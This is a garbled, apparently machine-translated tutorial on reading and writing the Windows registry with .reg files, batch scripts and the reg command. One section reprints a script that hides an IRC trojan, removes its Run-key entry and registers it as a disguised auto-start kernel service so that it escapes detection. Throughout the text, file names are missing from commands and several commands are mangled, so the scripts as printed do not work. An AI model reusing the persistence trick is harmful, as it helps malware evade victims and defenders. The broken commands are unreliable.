SoFunction
Updated on 2025-04-08

Complete guide to batch operation registry (read registry/write registry, etc.)

1. Batch generation.Reg file operation registry
.reg files can be easily generated with redirect symbols in batch processing. Then use the command to execute the .reg file!
Here, we will understand the method of operating the registry of .reg file.
First, the first line of the .reg file must be: Windows Registry Editor Version 5.00. Then there is the contents of the operation registry.
(It is the same as the file format exported from the registry)

1. Create a child
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]

A child named "TTT" was created under HKEY_LOCAL_MACHINE\SOFTWARE\.

2. Create a project name
Copy the codeThe code is as follows:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
"Name"="TTT BLOG"
"EMail"="taoether@"
"URL"="/ttt/"
"Type"=dword:02

In this way, four new items: Name, EMail, URL, and Type are created under [HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
The type of Name, Email, and URL is "String Value"
Type is "DWORD Value"

(Appendix: Windows registry value type:
REG_SZ string value
REG_BINARY Binary value
REG_DWORD DWORD value
REG_MULTI_SZ Multi-String Value
REG_EXPAND_SZ Extended string value)

3. Modify the key value
Modification is relatively simple. Just export the project you need to modify, then modify it with Notepad, and then import (regedit /s). Just like creating a new one. Multiple items under the same subkey can be modified at once.

4. Delete the project name
Copy the codeThe code is as follows:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
"EMail"=-

Execute the script and "EMail" is deleted;

5. Delete the child item
Copy the codeThe code is as follows:

Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\TTT]
[-HKEY_LOCAL_MACHINE\SOFTWARE\DDD]

After executing the script, the children ttt and ddd have been deleted.

6. .reg file execution method
1) Execute the reg file directly
2)regit /s *.reg (/s does not need to be confirmed)
3)reg import *.reg

7. In fact, we can also use dll files instead of reg files.

Batch Processing Example 1:
Copy the codeThe code is as follows:

@echo off
echo Windows Registry Editor Version 5.00 >
echo.
echo [HKEY_LOCAL_MACHINE\SOFTWARE\TTT] >>
echo "Name"="TTT BLOG" >>
echo "EMail"="taoether@" >>
echo "URL"="/ttt/" >>
echo "Type"=dword:02 >>
regedit /s
del /q
pause

Batch Processing 2: (This example is someone else's, I don't know much about it~~)
When we are using some older *s, we may generate a key value under [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce, Runservices, Runexec)] in the registry to realize the self-start of the *. However, this can easily expose the path of the * program, resulting in the * being detected. Relatively, if the * program is registered as a system service, it is relatively safe. The following is a good IRC * DSNX as an example (named)
Copy the codeThe code is as follows:

@start
@attrib +h +r
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>
@echo "windsnx "=- >>
@ create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\
@regedit /s
@delete
@REM [Delete the startup item of DSNXDE in the registry, and set its properties to hidden and read-only while registering it as a system-critical service, and config as self-start]
@REM This is not safer^_^.


2. Reg command operation registry

The Reg command is a tool provided by Windows that specializes in operating the registry. It can be convenient for query, add, delete, import, export, comparison and other operations. For details, please refer to the system's own help...

REG Operation [parameter list]
Operation [ QUERY | ADD | DELETE | COPY |
SAVE | LOAD | UNLOAD | RESTORE |
COMPARE | EXPORT | IMPORT ]

1. Query all children and values

D:\>reg query hklm\software\TTT

! VERSION 3.0

HKEY_LOCAL_MACHINE\software\TTT
Name REG_SZ TTT BLOG
EMail REG_SZ taoether@
URL REG_SZ /ttt/
Type REG_DWORD 0x2

2. Query specific items

D:\>reg query hklm\software\ttt /v url

! VERSION 3.0

HKEY_LOCAL_MACHINE\software\ttt
url REG_SZ /ttt/

The most difficult thing here is how to get the string we want. I was confused for a long time and finally found the method.
It turns out that there is no other good way, so we can only use find and for loops to intercept the content we need. (If you don’t understand the following example, please refer to another article in this blog: Detailed explanation of DOS loop-bat/batch for commands)
For example, if we want to get the key value of url: /ttt/, we can use the following script:
Copy the codeThe code is as follows:

@ECHO OFF
for /f "tokens=1,2,3,4,*" %%i in ('reg query "HKEY_LOCAL_MACHINE\software\ttt" ^| find /i "URL"') do SET "pURL=%%k"
The URL value of echo TTT BLOG is: %pURL%

Save as, the run result is as follows:

D:\>
The URL value of TTT BLOG is: /ttt/

No, for some reason, the CPU will take up 100% of the CPU when running the "REG" command (including reg /?) on the command line. Looking at the task manager, CMD takes up more than 80%. I don’t know why...
There is no problem running other commands, including regedit /s...

After checking it, it was said that it was because of the * horse, but after checking it, it didn't look like it. Neither the relevant files were found, and there was no problem when running other commands...
Let’s not do it for now. I just happened to have a REG command on hand to explain it in detail. I’ll sort it out later!

Because of the drug check, I cleaned up the C drive by myself and actually cleaned up 1 G space. It turned out that there were only a few hundred megabytes left... There is so much garbage in Windows~~Don't forget to clean it up frequently!

Release two completed batch files to automatically monitor OutLook Express. If you need it, you can click to download...
1. Function: You can reset the number of OE openings in the registry to avoid prompt compression when more than 100 times
2. Function: It can monitor the size of Outlook Express mail file (*.dbx) and generate an alarm log when it is larger than the specified size.

These two files can be added to the startup group and run automatically every time you start!
These two are mainly used to solve some common problems in the company:
1) People often have more than a few G email files;
2) Sometimes and after compression according to the prompt, email may be lost.

I just found out that the downloaded file has the suffix of "htm". Please remove this suffix before using it!
In addition, when downloading, please use the following links, such as: Qiannao Telecom High-speed Download Address and Qiannao Netcom High-speed Download Address. The VIP link above is specially designed for users of Qiannao~~